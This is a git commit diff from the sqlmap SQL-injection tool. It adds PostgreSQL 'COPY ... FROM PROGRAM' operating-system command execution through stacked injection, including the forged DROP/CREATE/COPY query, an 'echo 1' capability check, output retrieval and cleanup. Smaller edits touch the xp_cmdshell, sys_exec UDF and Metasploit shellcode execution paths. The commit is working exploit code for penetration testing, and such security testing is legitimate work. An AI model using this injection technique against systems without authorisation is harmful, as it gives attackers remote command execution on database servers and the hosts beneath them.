This commit is contained in:
Miroslav Stampar 2019-03-22 13:49:52 +01:00
parent 5ced273b8a
commit 2d129f3e58
6 changed files with 50 additions and 16 deletions

View File

@ -1882,6 +1882,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.connErrorChoice = None
kb.connErrorCounter = 0
kb.cookieEncodeChoice = None
kb.copyExecTest = None
kb.counters = {}
kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
kb.data = AttribDict()

View File

@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.3.43"
VERSION = "1.3.3.44"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View File

@ -44,7 +44,10 @@ class Abstraction(Web, UDF, XP_cmdshell):
XP_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False):
if self.webBackdoorUrl and not isStackingAvailable():
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@ -60,7 +63,10 @@ class Abstraction(Web, UDF, XP_cmdshell):
def evalCmd(self, cmd, first=None, last=None):
retVal = None
if self.webBackdoorUrl and not isStackingAvailable():
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
retVal = self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
retVal = self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@ -103,14 +109,19 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.info(infoMsg)
else:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
infoMsg = "going to use injected sys_eval and sys_exec "
infoMsg += "user-defined functions for operating system "
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
infoMsg += "command execution"
logger.info(infoMsg)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
infoMsg = "going to use injected user-defined functions "
infoMsg += "'sys_eval' and 'sys_exec' for operating system "
infoMsg += "command execution"
logger.info(infoMsg)
elif Backend.isDbms(DBMS.MSSQL):
infoMsg = "going to use xp_cmdshell extended procedure for "
infoMsg = "going to use extended procedure 'xp_cmdshell' for "
infoMsg += "operating system command execution"
logger.info(infoMsg)
@ -200,7 +211,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.warn(warnMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
success = self.udfInjectSys()
if success is not True:

View File

@ -10,6 +10,8 @@ import os
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import decloakToTemp
from lib.core.common import isListLike
from lib.core.common import isStackingAvailable
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
@ -104,13 +106,28 @@ class Takeover(GenericTakeover):
self.cleanup(onlyFileTbl=True)
def copyExecCmd(self, cmd):
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
inject.goStacked(self._forgedCmd)
output = None
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
output = inject.getValue(query, resumeValue=False)
if isStackingAvailable():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
inject.goStacked(self._forgedCmd)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
output = inject.getValue(query, resumeValue=False)
if isListLike(output):
output = os.linesep.join(output)
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
inject.goStacked(self._cleanupCmd)
return output
def checkCopyExec(self):
if kb.copyExecTest is None:
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
return kb.copyExecTest

View File

@ -140,6 +140,9 @@ class Miscellaneous:
if not isStackingAvailable() and not conf.direct:
return
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest:
return
if Backend.isOs(OS.WINDOWS):
libtype = "dynamic-link library"

View File

@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"
msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
while True:
choice = readInput(msg, default='1')